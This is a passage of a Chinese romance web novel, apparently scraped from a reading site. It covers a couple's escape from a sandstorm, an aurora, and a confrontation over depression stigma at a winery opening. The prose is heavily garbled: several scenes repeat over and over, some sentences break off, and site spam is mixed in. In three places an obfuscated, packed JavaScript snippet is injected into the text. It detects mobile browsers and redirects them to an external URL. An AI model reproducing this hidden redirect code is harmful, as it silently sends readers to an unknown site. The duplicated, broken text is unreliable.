贺淮钦没说什么而是转手牵住了她的手。 “走吧先出去再说。” 温昭宁心想出去就出去他牵她的手干什么? 贺淮钦像是看穿了她的想法解释说:“这里乱七八糟的东西太多你跟着我走小心踩到铁钉。” 如果踩到铁钉还要去打破伤风针的确麻烦得很。 温昭宁没和他犟乖乖任由他牵着手跟着他的脚步走到铁门口。 铁门打开的刹那浩瀚星空出现在眼前。 一切都结束了他们终于得救了。 温昭宁开心地笑起来一转头发现贺淮钦正目光灼灼地望着她。 她赶紧挣开他的手说:“今天多亏了有你谢谢你。” 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 是吓人,不过好在,我们现在安全了!”巨大的喜悦和逃脱绝境的轻松感瞬间淹没了她,温昭宁迫不及待地想要站起来,冲出这个憋闷冰冷的牢笼。 然而,因为睡太久,她的腿麻了。 温昭宁刚用力站起,一股如同被千万根细针同时刺到一样强烈的酸麻感席卷了她的下半身。 “啊!” 她痛呼一声,身体因为发力不均和突如其来的酸麻猛地一歪,重心瞬间失控,整个人不受控地朝旁边歪倒去。 贺淮钦像是早有预判,一伸手,迅疾有力地揽过来,揽住了她因为失衡而软倒的腰身。 她再一次被他牢牢地、稳稳地抱进了怀里。 温昭宁的上半身几乎完全贴到了他的胸膛上,她的鼻尖充斥着贺淮钦身上那股熟悉的味道,脸颊甚至能感觉到他T恤下起伏的胸肌轮廓。 这个拥抱和刚才求生的拥抱截然不同。 刚才的拥抱,是冰冷的,目的明确,甚至带着一丝相互对抗的紧绷,而现在这个拥抱,虽然同样突然,同样有力,却清晰地多了一丝情欲的感觉。 温昭宁的心跳在胸腔里失序地狂跳起来。 她赶紧伸手推开了贺淮钦,解释说:“我的脚麻了。” 贺淮钦没说什么,而是转手牵住了她的手。 “走吧,先出去再说。” 温昭宁心想,出去就出去,他牵她的手干什么? 贺淮钦像是看穿了她的想法,解释说:“这里乱七八糟的东西太多,你跟着我走,小心踩到铁钉。” 如果踩到铁钉,还要去打破伤风针,的确麻烦得很。 温昭宁没和他犟,乖乖任由他牵着手,跟着他的脚步走到铁门口。 铁门打开的刹那,浩瀚星空出现在眼前。 一切都结束了,他们终于得救了。 温昭宁开心地笑起来,一转头,发现贺淮钦正目光灼灼地望着她。 她赶紧挣开他的手说:“今天多亏了有你,谢谢你。” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 第134章 蜜恋期 贺淮钦点了点头,收回目光,简短地说:“走吧,去找车。” 他的越野车停在不远处相对背风的洼地边缘,此刻望去,只剩一个隆起的轮廓。 走近了,温昭宁才看清这辆线条硬朗、气势悍然的钢铁座驾,在经历了那场狂暴沙尘的洗礼后,变成了何等的模样,车身上覆盖着厚厚一层黄色,几乎掩盖了原本的漆色,车子的各处缝隙,都塞满了沙粒,仿佛这辆车已经在此地沉睡了百年。 “这车还能开吗?”她问。 “能,你走远一点,等我一下。” 贺淮钦说着,从车尾取出了随车携带的工兵铲和一把硬毛刷子,几步跃上车顶,开始清理车上的黄沙。 几分钟后,车子又显出了本来面貌。 贺淮钦从车顶上跳下来,小心地拉开副驾驶座的车门,细细的沙流从门框缝隙滑落,在脚边堆积成一小撮。 他先探头进去看了看车内的情况,然后朝温昭宁转头,说:“可以了,进来吧。” 温昭宁坐上了车。 贺淮钦绕过车头,也上了车。 上车后,他发动车子,打开雨刮器,同时喷出玻璃水。 “嗤——唰——” 雨刮器刮过尚且残留沙土和水渍的玻璃,发出略显滞涩的声响,但很快,驾驶座正前方的视野变得清晰明亮起来。 “好了。” 车子缓缓起步,碾过松软的沙地,朝旅店方向驶去。 因为开了空调,车内温度适宜,温昭宁的手脚都变得暖和起来,她侧头望着窗外,想起刚才靠在贺淮钦肩头睡着的事情,脸颊依旧残留着不自然的微热。 她用余光悄悄看了贺淮钦一眼,戈壁的夜路并不好走,暗坑和松软的沙地随时可能出现,他专注地驾驶,目光直视着前方。 忽然,贺淮钦踩油门的脚微微松了一下,车速明显降下来。 温昭宁有所觉察,从自己的思绪中抽离,下意识地顺着他的目光望去。 只一眼,她的呼吸就轻轻屏住了。 远方天际,悄然出现了一抹奇异的、流动的光晕,那光晕起初很淡,像是谁用最细腻的画笔蘸了一点荧光的绿颜料,在天边轻轻抹了一道,那绿色清冷、梦幻,带着一种不属于尘世的缥缈感。 随着车子继续前行,视野更加开阔,那抹绿意逐渐变得清晰生动起来。 它不再是一道静止的痕迹,而是活了过来,如同有生命的轻纱,在夜空中优雅地舒卷、流淌、变幻,时而成宽广的瀑布状,从天穹垂落,时而又聚拢成蜿蜒的丝带,在星群间穿梭舞动。 偶尔,那绿色中还会泛起一丝丝极其微弱的紫红色光晕,虽然转瞬即逝,却更添神秘。 是极光! “极光!极光!”温昭宁有些激动。 毕竟,在这里见到极光的概率还是非常低的。 “扇个巴掌,给个甜枣,老天爷挺会。”贺淮钦开玩笑。 车厢原本沉默的气氛,被这震撼人心的自然奇观瞬间打破。 贺淮钦将车停在了一处相对平坦的高地上,熄了火。 他微微仰起头,透过清晰的前挡风玻璃,望着如梦似幻的绿色天幕。 温昭宁也摇下车窗,将上半身微微探出窗外,仰望着那片流动的绿意。 真的太不真实了。 在经历了沙尘暴的生死劫难后,老天爷竟然在此刻以这样一种极致浪漫的方式,赐予了他们一场视觉与心灵的盛宴。 而极光…… 这个词语就像一把带着陈旧记忆的钥匙,撬开了温昭宁心底某个尘封已久的角落。 那是很多年前,在那间狭小的出租屋,她趴在他的背上,问他:“如果有一天,你变得很有钱,你最想做的一件事情是什么?” 贺淮钦说:“带你去看极光。” “为什么?” “因为你的出现,是我生命中最绚烂的光。” 年轻时的情话,总是热烈而直接,带着不顾一切的笃信,可后来呢,炽热的爱意烧成灰烬,只剩下相互伤害的灼痕。 温昭宁以为那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192763|196250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些话,连同当时的心情,早已被现实碾碎,随风飘散了,可是,在此刻,蒙尘的诺言,逐字清晰。 她的眼眶,忽然一阵酸涩。 谁能想到,他们竟然在没有爱的时候,兑现了最相爱时的诺言。 “极光很美。”贺淮钦忽然开口。 温昭宁“嗯”了声,她知道,这不是贺淮钦第一次看极光,他之前去北极看过,他微信的头像就是那时拍的极光图。 “你还记得吗那个时候……”贺淮钦话说了一半他的手机忽然响了起来。 是白方瑶打来的视频电话。 温昭宁瞥到屏幕上的名字心一紧 “我下去拍几张照。” 她说着赶紧推开车门下车走到远处把空间让给贺淮钦接电话。 极光在墨蓝的天幕上无声流通温昭宁努力将镜头对准那片梦幻的光带可是无论她怎么对焦、调整参数拍出来的照片都只是僵硬的色块极光的壮美与神秘镜头捕捉到的不及亲眼所见的千分之一甚至万分之一。 时间一分一秒过去。温昭宁有些泄气地放下手机目光不自觉地瞟向那辆越野车。 车厢内亮着顶灯勾勒出贺淮钦接电话的侧影两人不知道在聊什么贺淮钦的视线专注地看着屏幕时不时点头、说话连眼前的极光都吸引不了他了。 温昭宁心想真不愧是蜜恋期啊接电话都能接这么久。 又等了两分钟贺淮钦终于挂了电话降下车窗朝她看过来。 “拍完了吗?”他问。 温昭宁早拍完了只是不想上车打扰他们才一直在车外等着。 “嗯。” “那上车吧。” 温昭宁点点头赶紧过去拉门上车。 真的再不上车她又要冻僵了。 “你……” 贺淮钦似乎还想继续刚才的话题但温昭宁已经没有了兴致。 “回去吧我一身的沙想快点换衣服。”她说。 贺淮钦沉默两秒最终应了声好。 车子再次启动往旅店方向去。 第135章 神经病 接下来两天,温昭宁重新规划了自己的旅游路线,小心地避开了可能会再次遇到极端天气的区域。 她又去了有古老岩画的山谷,攀爬了更高的山丘看日出…… 这两天里,她没有再遇到过贺淮钦,那场惊心动魄的共度,就像是这片广袤土地上一个被风沙掩埋了的意外插曲。 直到回程的那天,温昭宁收拾好行李从房间里出来,正好遇到开门出来的贺淮钦。 “要回去了吗?”贺淮钦问。 “是的。”温昭宁看着他,“你呢?什么时候走?” “我……明天。” 他当然不会告诉她,他也是今天走,太多的巧合,会显得很刻意。 “好,那再见了。” “再见。” 温昭宁拉着行李箱正要从贺淮钦身边擦身而过,他忽然伸手拦了她一下。 “要送你去机场吗?” “不用,我叫了车。” “不会又是黑车吧?” “不会,这次是老板娘介绍的。”温昭宁就是怕再次遇到黑车,所以这次找老板娘帮忙介绍的司机。 “好,那一路顺风。” “谢谢,你明天也是。”—— 温昭宁回到悠山后,身体里还残留着长途旅行的疲惫,但精神却是一种饱满而清醒的状态。 那种被抑郁和压力拖拽着往下沉的无力感消失了,取而代之的是缓慢回升的能量。 她觉得自己也差不多可以恢复工作了。 温昭宁休息的这两个多月里,边雨棠把民宿打理得井井有条,营业额每个月都超预期,只是这段时间,边雨棠全身心地扑在民宿上,大大缩减了陪伴孩子的时间,前夫哥姚志修见有机可乘,便开始接近笼络孩子,挑拨孩子和边雨棠的关系。 边雨棠气得不轻。 “这男人真是越看越下作!”边雨棠找温昭宁吐槽。 温昭宁对自己有这样的表哥也很无奈:“雨棠姐,这段时间辛苦你了,我现在身体状态还行,我准备明天就复工,之后你就不用那么辛苦了。” 边雨棠惶恐:“宁宁,我可不是催你的意思。” “不不不,与你无关,我本来就打算要复工了。” “你真的调整好了 吗?”边雨棠还有点不放心,“其实我撑得住,你可以再休息一段时间。” “不用担心,我这次充电充得足足的。” “好。” 温昭宁复工后,工作的节奏已经和之前“拼命三娘”的模式截然不同。 她为自己设定了一个清晰且宽松的时间表,工作时间安排得更灵活也更有弹性,如果精神好,她就会多处理一些工作,如果感觉到疲惫,那一天就只做最重要的一两件事。她也开始试着将一些权限和责任更加明确地交给鹿鹿,不再事必躬亲。她发现,适当地放手,不仅没有让事情变遭,反而激发了团队的主动性和责任感。 大家都说,复工后的温昭宁身上少了一分锐利紧绷的“冲劲”,多了一份沉稳包容的“静气”。 这段时间里,温昭宁没有再见过贺淮钦。 他还是每周派司机来接青柠,自己从不露面。 不遇到也好。 温昭宁告诉自己,他们本来就是两条不该再有交集的线,短暂的相交后,各自回到原有的轨道,这才是常态。—— 复工一个月后,温昭宁收到了一个好消息,她之前负责的跟进的酒庄要开业了! 温昭宁病后,酒庄的收尾工作就交给了别人,但是,这次酒庄要开业的好消息,是副镇长亲自打电话告知温昭宁的。 副镇长在电话里说,酒庄能这么顺利地落地、建成、开业,离不开温昭宁的努力,温昭宁是这个项目的头号功臣。 “所以,小温老板,这次开业典礼,你一定得来!必须得来!” 温昭宁一口答应。 这个酒庄,就像是她看着长大的孩子,如今孩子终于长大成人,她当然要去见证。 酒庄开业的日子定在周五。 周五那天,温昭宁特意打扮了一番,母亲一看到她,就夸她:“哎哟,我女儿真漂亮,气色真好!” “妈,你算不算黄婆卖瓜自卖自夸?” “我说的是实话,你现在的气色,真的越来越好了,见你一点点好转,妈就放心了。” 温昭宁步行去了酒庄的开业现场,现场人头攒动,热闹非凡,县里、镇里的领导都在,除此之外,还有很多媒体记者和对酒庄好奇的本地乡亲。 大家看到她,纷 纷热情地和她打招呼寒暄。 副镇长更是老远就看到她大步流星地走过来用力握住她的手:“小温老板你来啦快看看我们这酒庄多气派这里头有你一份大功劳今天我得给你包个大红包。” 几个镇里的工作人员都笑着附和。 “副镇长你客气了我也没做什么这都是大家的功劳。” “你太谦虚了走走走正式装修后你没来过我带你参观一下。” “好。” 副镇长带着温昭宁参观了一半中途接了个电话就走开了。 温昭宁一个人在酒庄里走走看看拍了一些照片发给母亲姚冬雪。 “哟我当时是谁呢?原来是温大老板。”身后传来一道尖利的女声。 温昭宁转头看到了费芝惠。 费芝惠是葡萄园老板费叔的女儿温昭宁生病后酒庄项目的收尾工作镇里领导就安排给了她照理前人栽树后人乘凉费芝惠应该感谢温昭宁才对 这敌意说来也可笑只是因为当初温昭宁通过自媒体帮助村里的村民卖光了葡萄费芝惠的父亲费叔就对温昭宁赞不绝口经常张口闭口就拿温昭宁做榜样让女儿费芝惠要多向温昭宁学习好胜心强的费芝惠就觉得是温昭宁故意压她一头抢走了父亲的关注由此记恨上了温昭宁。 费芝惠踩着高跟鞋走到温昭宁的面前上下打量她一眼:“温大老板今天打扮得可真精神这是身体养好了?能出来见人了?” “已经好了多谢关心。” “抑郁症有那么容易好吗?”费芝惠眉毛一挑“我听说这种病啊其实就是神经太脆弱想太多自己跟自己过不去说难听点和神经病也差不多。” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 纷热情地和她打招呼,寒暄。 副镇长更是老远就看到她,大步流星地走过来,用力握住她的手:“小温老板,你来啦,快看看,我们这酒庄多气派,这里头,有你一份大功劳,今天,我得给你包个大红包。” 几个镇里的工作人员都笑着附和。 “副镇长你客气了,我也没做什么,这都是大家的功劳。” “你太谦虚了,走走走,正式装修后你没来过,我带你参观一下。” “好。” 副镇长带着温昭宁参观了一半,中途接了个电话,就走开了。 温昭宁一个人在酒庄里走走看看,拍了一些照片发给母亲姚冬雪。 “哟,我当时是谁呢?原来是温大老板。”身后传来一道尖利的女声。 温昭宁转头,看到了费芝惠。 费芝惠是葡萄园老板费叔的女儿,温昭宁生病后,酒庄项目的收尾工作镇里领导就安排给了她,照理,前人栽树后人乘凉,费芝惠应该感谢温昭宁才对,可是,费芝惠却对温昭宁有很大的敌意。 这敌意说来也可笑,只是因为当初温昭宁通过自媒体帮助村里的村民卖光了葡萄,费芝惠的父亲费叔就对温昭宁赞不绝口,经常张口闭口就拿温昭宁做榜样,让女儿费芝惠要多向温昭宁学习,好胜心强的费芝惠就觉得是温昭宁故意压她一头,抢走了父亲的关注,由此记恨上了温昭宁。 费芝惠踩着高跟鞋走到温昭宁的面前,上下打量她一眼:“温大老板今天打扮得可真精神,这是身体养好了?能出来见人了?” “已经好了,多谢关心。” “抑郁症有那么容易好吗?”费芝惠眉毛一挑,“我听说这种病啊,其实就是神经太脆弱,想太多,自己跟自己过不去,说难听点,和神经病也差不多。” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 纷热情地和她打招呼寒暄。 副镇长更是老远就看到她大步流星地走过来用力握住她的手:“小温老板你来啦快看看我们这酒庄多气派这里头有你一份大功劳今天我得给你包个大红包。” 几个镇里的工作人员都笑着附和。 “副镇长你客气了我也没做什么这都是大家的功劳。” “你太谦虚了走走走正式装修后你没来过我带你参观一下。” “好。” 副镇长带着温昭宁参观了一半中途接了个电话就走开了。 温昭宁一个人在酒庄里走走看看拍了一些照片发给母亲姚冬雪。 “哟 温昭宁转头看到了费芝惠。 费芝惠是葡萄园老板费叔的女儿温昭宁生病后酒庄项目的收尾工作镇里领导就安排给了她照理前人栽树后人乘凉费芝惠应该感谢温昭宁才对可是费芝惠却对温昭宁有很大的敌意。 这敌意说来也可笑只是因为当初温昭宁通过自媒体帮助村里的村民卖光了葡萄费芝惠的父亲费叔就对温昭宁赞不绝口经常张口闭口就拿温昭宁做榜样让女儿费芝惠要多向温昭宁学习好胜心强的费芝惠就觉得是温昭宁故意压她一头抢走了父亲的关注由此记恨上了温昭宁。 费芝惠踩着高跟鞋走到温昭宁的面前上下打量她一眼:“温大老板今天打扮得可真精神这是身体养好了?能出来见人了?” “已经好了多谢关心。” “抑郁症有那么容易好吗?”费芝惠眉毛一挑“我听说这种病啊其实就是神经太脆弱想太多自己跟自己过不去说难听点和神经病也差不多。” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 纷热情地和她打招呼,寒暄。 副镇长更是老远就看到她,大步流星地走过来,用力握住她的手:“小温老板,你来啦,快看看,我们这酒庄多气派,这里头,有你一份大功劳,今天,我得给你包个大红包。 几个镇里的工作人员都笑着附和。 “副镇长你客气了,我也没做什么,这都是大家的功劳。 “你太谦虚了,走走走,正式装修后你没来过,我带你参观一下。 “好。 副镇长带着温昭宁参观了一半,中途接了个电话,就走开了。 温昭宁一个人在酒庄里走走看看,拍了一些照片发给母亲姚冬雪。 “哟,我当时是谁呢?原来是温大老板。身后传来一道尖利的女声。 温昭宁转头,看到了费芝惠。 费芝惠是葡萄园老板费叔的女儿,温昭宁生病后,酒庄项目的收尾工作镇里领导就安排给了她,照理,前人栽树后人乘凉,费芝惠应该感谢温昭宁才对,可是,费芝惠却对温昭宁有很大的敌意。 这敌意说来也可笑,只是因为当初温昭宁通过自媒体帮助村里的村民卖光了葡萄,费芝惠的父亲费叔就对温昭宁赞不绝口,经常张口闭口就拿温昭宁做榜样,让女儿费芝惠要多向温昭宁学习,好胜心强的费芝惠就觉得是温昭宁故意压她一头,抢走了父亲的关注,由此记恨上了温昭宁。 费芝惠踩着高跟鞋走到温昭宁的面前,上下打量她一眼:“温大老板今天打扮得可真精神,这是身体养好了?能出来见人了? “已经好了,多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192764|196250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢关心。 “抑郁症有那么容易好吗?费芝惠眉毛一挑,“我听说这种病啊,其实就是神经太脆弱,想太多,自己跟自己过不去,说难听点,和神经病也差不多。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 纷热情地和她打招呼,寒暄。 副镇长更是老远就看到她,大步流星地走过来,用力握住她的手:“小温老板,你来啦,快看看,我们这酒庄多气派,这里头,有你一份大功劳,今天,我得给你包个大红包。” 几个镇里的工作人员都笑着附和。 “副镇长你客气了,我也没做什么,这都是大家的功劳。” “你太谦虚了,走走走,正式装修后你没来过,我带你参观一下。” “好。” 副镇长带着温昭宁参观了一半,中途接了个电话,就走开了。 温昭宁一个人在酒庄里走走看看,拍了一些照片发给母亲姚冬雪。 “哟,我当时是谁呢?原来是温大老板。”身后传来一道尖利的女声。 温昭宁转头,看到了费芝惠。 费芝惠是葡萄园老板费叔的女儿,温昭宁生病后,酒庄项目的收尾工作镇里领导就安排给了她,照理,前人栽树后人乘凉,费芝惠应该感谢温昭宁才对,可是,费芝惠却对温昭宁有很大的敌意。 这敌意说来也可笑,只是因为当初温昭宁通过自媒体帮助村里的村民卖光了葡萄,费芝惠的父亲费叔就对温昭宁赞不绝口,经常张口闭口就拿温昭宁做榜样,让女儿费芝惠要多向温昭宁学习,好胜心强的费芝惠就觉得是温昭宁故意压她一头,抢走了父亲的关注,由此记恨上了温昭宁。 费芝惠踩着高跟鞋走到温昭宁的面前,上下打量她一眼:“温大老板今天打扮得可真精神,这是身体养好了?能出来见人了?” “已经好了,多谢关心。” “抑郁症有那么容易好吗?”费芝惠眉毛一挑,“我听说这种病啊,其实就是神经太脆弱,想太多,自己跟自己过不去,说难听点,和神经病也差不多。” 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 纷热情地和她打招呼,寒暄。 副镇长更是老远就看到她,大步流星地走过来,用力握住她的手:“小温老板,你来啦,快看看,我们这酒庄多气派,这里头,有你一份大功劳,今天,我得给你包个大红包。” 几个镇里的工作人员都笑着附和。 “副镇长你客气了,我也没做什么,这都是大家的功劳。” “你太谦虚了,走走走,正式装修后你没来过,我带你参观一下。” “好。” 副镇长带着温昭宁参观了一半,中途接了个电话,就走开了。 温昭宁一个人在酒庄里走走看看,拍了一些照片发给母亲姚冬雪。 “哟,我当时是谁呢?原来是温大老板。”身后传来一道尖利的女声。 温昭宁转头,看到了费芝惠。 费芝惠是葡萄园老板费叔的女儿,温昭宁生病后,酒庄项目的收尾工作镇里领导就安排给了她,照理,前人栽树后人乘凉,费芝惠应该感谢温昭宁才对,可是,费芝惠却对温昭宁有很大的敌意。 这敌意说来也可笑,只是因为当初温昭宁通过自媒体帮助村里的村民卖光了葡萄,费芝惠的父亲费叔就对温昭宁赞不绝口,经常张口闭口就拿温昭宁做榜样,让女儿费芝惠要多向温昭宁学习,好胜心强的费芝惠就觉得是温昭宁故意压她一头,抢走了父亲的关注,由此记恨上了温昭宁。 费芝惠踩着高跟鞋走到温昭宁的面前,上下打量她一眼:“温大老板今天打扮得可真精神,这是身体养好了?能出来见人了?” “已经好了,多谢关心。” “抑郁症有那么容易好吗?”费芝惠眉毛一挑,“我听说这种病啊,其实就是神经太脆弱,想太多,自己跟自己过不去,说难听点,和神经病也差不多。” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 纷热情地和她打招呼寒暄。 副镇长更是老远就看到她大步流星地走过来用力握住她的手:“小温老板你来啦快看看我们这酒庄多气派这里头有你一份大功劳今天我得给你包个大红包。” 几个镇里的工作人员都笑着附和。 “副镇长你客气了我也没做什么这都是大家的功劳。” “你太谦虚了走走走正式装修后你没来过我带你参观一下。” “好。” 副镇长带着温昭宁参观了一半中途接了个电话就走开了。 温昭宁一个人在酒庄里走走看看拍了一些照片发给母亲姚冬雪。 “哟我当时是谁呢?原来是温大老板。”身后传来一道尖利的女声。 温昭宁转头看到了费芝惠。 费芝惠是葡萄园老板费叔的女儿温昭宁生病后酒庄项目的收尾工作镇里领导就安排给了她照理前人栽树后人乘凉费芝惠应该感谢温昭宁才对可是费芝惠却对温昭宁有很大的敌意。 这敌意说来也可笑只是因为当初温昭宁通过自媒体帮助村里的村民卖光了葡萄费芝惠的父亲费叔就对温昭宁赞不绝口经常张口闭口就拿温昭宁做榜样让女儿费芝惠要多向温昭宁学习好胜心强的费芝惠就觉得是温昭宁故意压她一头抢走了父亲的关注由此记恨上了温昭宁。 费芝惠踩着高跟鞋走到温昭宁的面前 “已经好了多谢关心。” “抑郁症有那么容易好吗?”费芝惠眉毛一挑“我听说这种病啊其实就是神经太脆弱想太多自己跟自己过不去说难听点和神经病也差不多。” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 第136章 随便拉个人 费芝惠把“神经病”这三个字咬得特别重。 而这三个字,就像是一块肮脏的冰投入了原本喜庆的氛围,激起的不仅仅是涟漪,更是一阵令人极度不适的恶意与寒意。 周围瞬间安静了不少,听到费芝惠这句话的人,都把目光朝温昭宁投来,有人打量她,有人同情她,也有人下意识离她远远的。 温昭宁觉得尴尬,但她尴尬的点仅仅在于费芝惠那不分场合的不体面,而不是因为她的病。 费芝惠脸上挂着假笑,眼神却满是挑衅和得意。 “芝惠,谢谢你这么关心我的健康。”温昭宁目光平静地回望着费芝惠,“不过,关于抑郁症,可能你有一些误解。” 温昭宁说着,声音微微拔高了一些,确保能让更多的人听清。 “抑郁症是一种精神类的疾病,就像是身体会感冒发烧一样,精神也会感冒,它和遗传、生理生化因素、环境压力等等都有关系,它不是因为想太多,太矫情或者神经脆弱,更不是你口中的神经病,你用这样的词汇去标签化一个生病的人,不仅无知,而且残忍。” 周围响起低低的赞同声。 费芝惠的脸色变得难看起来。 温昭宁继续说:“生病并不可耻,真正有问题的,不是生病的人,而是那些对别人的病痛进行攻击、嘲笑,以此彰显自己优越感的人,这样的行为,暴露的不是别人的病,而是你内心的狭隘和无知。” 费芝惠彻底怒了,她指着温昭宁,大声地问:“你说谁狭隘和无知呢?” “我就说你!” 周围响起一片附和的掌声,众人都站在了温昭宁这边。 “嘲笑和歧视治不好任何人的病,只会让这个世界多一份冷漠和伤害。” “我女儿读书的时候压力太大,也得过抑郁症,她后来把病治好了,还考了个好大学呢,谁说抑郁症是神经病?这妥妥就是偏见!” “好了好了,今天酒庄开业,可是我们村的大喜事,别说些有的没的,大家开开心心和和气气多好,不要因为一粒老鼠屎坏了一锅粥。” 费芝惠见没捞到好,反而被大家联合起来怼,气得不轻。 这时,有人忽然喊了声:“贺先生来了!” “贺先生?” “就是酒庄的投资人。 “我看到过那个投资人,长得老帅了,明星似的。 村民们窃窃私语。 费芝惠的眼睛一亮,一瞬间,她脸上所有的狼狈、怨毒和挫败,如同变魔法般褪去,取而代之的是狂热的惊喜和急于表现的谄媚。 她一边整理裙摆,一边踩着那双细高跟,小跑着穿过人群。 贺淮钦的车在酒庄门口停下,车门打开,他的皮鞋先从车里跨出来,踩在了为酒庄开业特地铺的红毯上。 副镇长和一众领导都纷纷调整了站姿,脸上堆起了热络的笑意,朝贺淮钦迎过去。 贺淮钦今天穿了一身浅灰色的西装,那种灰静谧雅致且平和,将他整个人衬得尽显优雅绅士风范。 他下车后,和副镇长他们挨个握了手,寒暄了几句。 因为副镇长马上有个采访,不能陪贺淮钦进去参观,他转头朝费芝惠招招手:“芝惠,你先带贺先生进去参观一下。 费芝惠求之不得,她大步走到贺淮钦的面前,热络地对贺淮钦说:“贺先生你好,我们又见面了。 贺淮钦蹙眉,显然不太理解她这个“又字从何而来。 费芝惠看着贺淮钦的表情,意识到他早已将她忘记,心里稍稍有点失落,但她很快安慰自己,像贺淮钦这样的红圈所大佬,每天见的人那么多,把她忘记了很正常。 “贺先生,你可能不记得了,上次酒庄的采购单,是我拿到律所去找你签字……费芝惠话还没说完,贺淮钦的目光已经从她脸上滑了过去,落向了她身后的方向。 费芝惠下意识地回头。 人群的那一端,温昭宁正侧身和村里的阿婆说着什么,她嫩芽绿的裙摆在初夏的阳光下泛起柔和的光晕。 贺淮钦没有听完费芝惠的那句话,整个人像是被什么牵引着,目光没有半分偏移,就那么径直走向了温昭宁。 费芝惠脸上的笑容僵住,垂落在身侧的手悄悄攥紧了拳头。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197465|196250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >温昭宁!又是这个温昭宁!—— 温昭宁正和村里的阿婆聊天,阿婆告诉她,今年他们家的葡萄产量比往年更多,希望温昭宁到时候在网上帮忙推广推广。 “放心吧阿婆,今年葡萄就算卖不完,酒庄这边也能帮 忙消耗,以后我们村啊,再也不愁葡萄卖不出去砸在手里了。” “是嘛,那太好了!这可多亏了你!” “这是大家的功劳,我可不敢一个人居功。” 两人正聊着天,温昭宁的余光瞥见贺淮钦朝她走了过来。 阿婆也看到了,她拍了拍温昭宁的手背,对她说:“你先忙,我再去别处看看。” “好。” 温昭宁转过身,看向贺淮钦。 距离上次在西北戈壁相遇之后,他们已经一个多月没有见过面了。 “好久不见。”贺淮钦先开口。 温昭宁冲他点点头:“是啊,好久不见。” “酒庄终于开始运作了。”贺淮钦扫了眼酒庄内部的装修,“一切都很不错。” 说更新,记住域名caixs.com囍(请来才小 说 看最新章节 完整章节) “对,很感谢贺先生的投资,我们村以后又多了一张文化名片。” 两人之间的对话像极了官方的寒暄,可贺淮钦寒暄完也不走,温昭宁只能在他面前干站着。 “贺先生!”费芝惠走过来,笑着说,“副镇长刚刚交给我个任务,让我带你参观一下酒庄,走吧,我带你去看看酒窖,那里设计得特别科技化。” “不用了。”贺淮钦指了指温昭宁,“温老板会带我参观。” “她?”费芝惠斜了温昭宁一眼,“贺先生有所不知,温老板在酒庄装修阶**病了,这个项目的后期一直都是我在负责,所以,我对酒庄的构造更了解,还是我带你去参观吧,你是我们村的贵客,可不能随便拉个人怠慢了你。” “随便拉个人?”贺淮钦目光一凛,“这位小姐,你好像还没搞清楚,对我而言,你才是随便拉来的那个人。” 第137章 抢风头 费芝惠脸色白一阵青一阵。 他称呼她为“这位小姐,明明她刚才已经自我介绍过了,但贺淮钦还是没有记住她的姓。 或者说,从一开始,对贺淮钦而言,她就是路人甲。 费芝惠感到失望和难堪,但是,她还是强挤出一个笑容,对贺淮钦说:“好,那贺先生自己安排,如果有什么不明白,随时可以来找我,我可以带你了解。 贺淮钦没接腔,他看向温昭宁说:“温老板,有劳了。 温昭宁原本只想找个理由从贺淮钦面前脱身,但他都这么说了,温昭宁也不好再推脱。 两人先在大厅里逛了一圈,随后,走进了酒庄的酿造区。 光线骤然柔和下来,空气里弥漫着橡木桶特有的气味和葡萄发酵时那股微酸的香甜。 巨大的不锈钢发酵罐整整齐齐地排列着,在顶灯的照耀下泛着冷冽的光泽,他们的脚下,是光洁如镜的环氧地坪,倒映着头顶交错的管道。 温昭宁的目光扫过那些精密的控温设备和复杂的管路系统,有点不好意思地说:“酒庄的后期收尾我缺席了,这些我的确不太熟,无法为贺先生介绍。 “没关系,那就由我来为你介绍。 他顿了顿,指尖在面板边缘轻轻点了一下,又继续说:“赤霞珠需要相对剧烈的温差来积累单宁,而黑皮诺更适合平缓的降温曲线,这套系统支持分区块独立编程,可以同时处理六种不同品类的发酵需求。 温昭宁意外:“你怎么都知道? “这些技术方案我全都看过。 看过就记住了? 果然是曾经的学霸,记性就是好。 